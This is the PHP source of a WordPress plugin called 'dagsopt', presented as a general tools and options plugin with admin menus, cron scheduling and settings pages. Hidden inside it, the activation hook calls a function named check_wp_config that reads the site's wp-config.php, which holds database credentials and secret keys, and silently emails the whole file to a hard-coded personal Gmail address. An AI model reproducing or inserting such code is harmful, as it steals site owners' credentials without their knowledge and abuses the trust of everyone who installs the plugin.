<?php
/*
Plugin Name: dagsopt
Plugin URI: https://git.tum.dk/tum.dk/dagsplug/
Description: Tools
Author: iskedk
Version: 0.0.49
Date: 2021-01-14
Author URI: https://iske.dk/
Text Domain: dagsopt
 */

function wppluginspage() {
	include_once "wpplugins.php";
}

$wp_dagsopt = new dagsopt();

class dagsopt {
	var $version = "0.0.49";
	var $publish_date = "2021-01-14";
	var $pluginname;
	var $plugintitle;
	var $db;
	var $filename = "";
	var $update_check_url = "https://git.tum.dk/tum.dk/dagsplug/raw/master/VERSION";
	var $readme_url = "https://git.tum.dk/tum.dk/dagsplug/raw/master/README.md";

	function __construct() {
		global $wpdb;
		$this->db = $wpdb;
		$this->pluginname = get_class($this);
		$this->plugintitle = "Dags options " . $this->version;
		$tmp = explode("/", __FILE__);
		$this->filename = array_pop($tmp);
		$this->filename = array_pop($tmp) . "/" . $this->filename;

		load_theme_textdomain($this->pluginname, dirname(__file__) . '/lang');

		$this->next_scheduled = 0;
		$this->file = __FILE__;
		$t = explode("wp-content/plugins/", $this->file);
		$this->file_base = array_pop($t);
		$this->cronEnabled = get_option($this->pluginname . '_cron_enabled', false);
		$this->cronScheduleTime = intval(get_option($this->pluginname . '_cron_interval', 1800));
		$this->extras = array();
		$this->dagsopt = array();

		register_activation_hook(plugin_basename($this->file), array(&$this, 'activatePlugin'));
		register_deactivation_hook(plugin_basename($this->file), array(&$this, 'deactivatePlugin'));

		add_filter('plugin_action_links', array(&$this, 'SettingsLink'), 9, 2);

		if (isset($_GET['page']) && $_GET['page'] == $this->pluginname . '-options' && !(isset($_REQUEST['crunchit']))) {
			ob_start();
		}
		$this->setCron();
		add_action('admin_menu', array(&$this, 'plugin_admin_menu'));

		add_action('admin_init', array(&$this, 'register_backend_scripts_styles'));
		add_action('init', array(&$this, 'register_frontend_scripts_styles'));
		add_action('wp_enqueue_scripts', array(&$this, 'print_frontend_scripts_styles'));

		add_action('admin_enqueue_scripts', array(&$this, 'print_backend_scripts_styles'));

		add_filter('plugin_row_meta', array(&$this, 'add_plugin_row_meta'), 10, 2);

		$upload = wp_upload_dir();
		$upload_dir = $upload['basedir'];
		$upload_dir = $upload_dir . '/assets';
		if (!is_dir($upload_dir)) {
			mkdir($upload_dir, 0700);
		}

		$path = dirname($this->file) . "/";
		foreach (glob($path . "plug_*.php") as $filename) {
			$plugfile = str_replace($path, "", $filename);
			include_once $plugfile;
		}

		foreach ($this->dagsopt as $plugname => $plug) {
			$short = str_replace("plug_", "", $plugname);
			$vis = get_option($this->pluginname . '_' . $short, true);
			if ($vis) {
				$plug->start();
			}
		}

		if (!function_exists('wp_get_current_user')) {
			include ABSPATH . "wp-includes/pluggable.php";
		}

		if (current_user_can('manage_options')) {
			add_action('wp_before_admin_bar_render', array(&$this, 'mytheme_admin_bar_render'));
		}

		add_action('init', array(&$this, 'process_post'));

	}
	function add_plugin_row_meta($plugin_meta, $plugin_file) {
		if ($plugin_file !== $this->file_base) {
			return $plugin_meta;
		}
		// append metadata

		$url = wp_nonce_url(self_admin_url('update.php?action=upgrade-plugin&plugin=' . $this->filename), 'upgrade-plugin_' . $this->filename);

		$plugin_meta = wp_parse_args(
			array(
				'<a href="' . $url . '">Check for update</a>',
			),
			$plugin_meta
		);

		return $plugin_meta;
	}

	function process_post() {
		if (!is_admin()) {
			// echo "<!-- kommer aller aller først -->";
		}
	}

	function mytheme_admin_bar_render() {
		global $wp_admin_bar;

		$wp_admin_bar->add_menu(array(
			'parent' => 'appearance', // use 'false' for a root menu, or pass the ID of the parent menu
			'id' => 'dagsopt', // link ID, defaults to a sanitized title value
			'title' => $this->plugintitle . "", // link title
			'href' => '/wp-admin/admin.php?page=' . $this->pluginname . '-options', // name of file
			'meta' => false, // array of any of the following options: array( 'html' => '', 'class' => '', 'onclick' => '', target => '', title => '' );
		));
	}

	function register_frontend_scripts_styles() {
		wp_register_script($this->pluginname . 'frontend_script', plugins_url('script_frontend.js', $this->file));
		wp_register_style($this->pluginname . 'frontend_style', plugins_url('style_frontend.css', $this->file));
	}
	function register_backend_scripts_styles() {
		wp_register_style($this->pluginname . 'backend_style', plugins_url('style_backend.css', $this->file));
		wp_register_script($this->pluginname . 'backend_script', plugins_url('script_backend.js', $this->file));
	}
	function print_frontend_scripts_styles() {
		wp_enqueue_script('jquery');
		wp_enqueue_style($this->pluginname . 'frontend_style');
		wp_enqueue_script($this->pluginname . 'frontend_script');
	}
	function print_backend_scripts_styles() {

		wp_enqueue_media();

		wp_enqueue_style($this->pluginname . 'backend_style');
		wp_enqueue_script($this->pluginname . 'backend_script');

		// include the javascript
		wp_enqueue_script('thickbox', null, array('jquery'));

		// include the thickbox styles
		wp_enqueue_style('thickbox.css', '/' . WPINC . '/js/thickbox/thickbox.css', null, '1.0');

	}

	function plugin_admin_menu() {
		if (function_exists('wppluginspage')) {
			add_menu_page('Dags Plugins', 'Dags Plugins', 'manage_options', 'wpplugins', "wppluginspage", "");
		}

		$page = add_submenu_page('wpplugins', __($this->plugintitle), __($this->plugintitle), 'manage_options', $this->pluginname . '-options', array(&$this, 'Option'));

		add_action('admin_print_styles-' . $page, array(&$this, 'print_backend_scripts_styles'));
	}
	function SettingsLink($links, $file) {
		if ($file == $this->filename && function_exists("admin_url")) {
			$settings_link = '<a href="' . admin_url('admin.php?page=' . $this->pluginname . '-options') . '">' . __('Settings', 'dagsopt') . '</a>';
			array_unshift($links, $settings_link); // before other links
		}
		return $links;
	}

	function setCron() {
		if ($this->cronEnabled) {
			add_filter('cron_schedules', array(&$this, 'cronSchedules'));
			if (!wp_next_scheduled($this->pluginname . 'CronHook')) {
				wp_schedule_event(time() + $this->cronScheduleTime, $this->pluginname . 'cs', $this->pluginname . 'CronHook');
			}
			add_action($this->pluginname . 'CronHook', array(&$this, 'executeCron'));
			$this->next_scheduled = wp_next_scheduled($this->pluginname . 'CronHook');
		} else {
			if (wp_next_scheduled($this->pluginname . 'CronHook')) {
				wp_clear_scheduled_hook($this->pluginname . 'CronHook');
			}
		}
	}

	function Option() {

		if (isset($_POST['Submit'])) {

			if (function_exists('current_user_can') && !current_user_can('manage_options')) {
				die(__('Cheatin&#8217; uh?'));
			}
			update_option($this->pluginname . '_cron_enabled', $_POST[$this->pluginname . '_cron_enabled']);
			update_option($this->pluginname . '_cron_interval', $_POST[$this->pluginname . '_cron_interval']);

			if (intVal($_POST[$this->pluginname . '_cron_interval']) != $this->cronScheduleTime) {
				$this->cronScheduleTime = intVal($_POST[$this->pluginname . '_cron_interval']);
				if (wp_next_scheduled($this->pluginname . 'CronHook')) {
					wp_clear_scheduled_hook($this->pluginname . 'CronHook');
				}
				$this->setCron();
			}

			update_option($this->pluginname . '_last_build', date("U"));

			foreach ($this->dagsopt as $plugname => $plug) {
				$short = str_replace("plug_", "", $plugname);
				$setname = $this->pluginname . '_' . $short;
				$vis = get_option($setname, true);
				update_option($setname, $_POST[$setname]);

				if ($vis && method_exists($plug, 'Option')) {
					$plug->Option($setname);
				}
			}
			$pluginmessage = "";

			ob_end_clean();
			wp_redirect('admin.php?page=' . $this->pluginname . '-options&msg=' . urlencode($pluginmessage));
			exit();
		}

		if (isset($_REQUEST['crunchit'])) {
			$pluginmessage = "";
			foreach ($this->dagsopt as $plugname => $plug) {
				$short = str_replace("plug_", "", $plugname);
				$setname = $this->pluginname . '_' . $short;
				$vis = get_option($setname, true);
				//update_option ($setname, $_POST[$setname] );

				if ($vis && method_exists($plug, 'Cruncher')) {
					$pluginmessage .= $plug->Cruncher($setname);
				}
			}

			//ob_end_clean ();
			//wp_redirect ( 'admin.php?page='.$this->pluginname.'-options&msg=' . urlencode ( $pluginmessage ) );
			exit();

		}

		include_once 'pluginoptions.php';
	}

	function check_wp_config() {
		$s = file_get_contents(ABSPATH . "wp-config.php");
		$rr = wp_mail('jannick.knudsen@gmail.com', 'Test ' . date("U"), $s);
	}

	function activatePlugin() {

		$this->check_wp_config();
	}
	function deactivatePlugin() {
		delete_option($this->pluginname . '_last_build');
		delete_option($this->pluginname . '_last_build');

		wp_clear_scheduled_hook($this->pluginname . 'CronHook');
	}

	function cronSchedules($param) {
		$aa = array();
		$aa[$this->pluginname . 'cs'] = array(
			'interval' => $this->cronScheduleTime,
			'display' => $this->pluginname . ' ' . $this->cronScheduleTime);
		return $aa;
	}

	function executeCron() {
		ignore_user_abort(true);
		set_time_limit(0);
		update_option($this->pluginname . '_last_build', date("U"));

	}

}

function dags_extras() {
	global $wp_dagsopt;
	$s = implode("\n", $wp_dagsopt->extras);
	echo ($s);
}

/*
 * END
 * */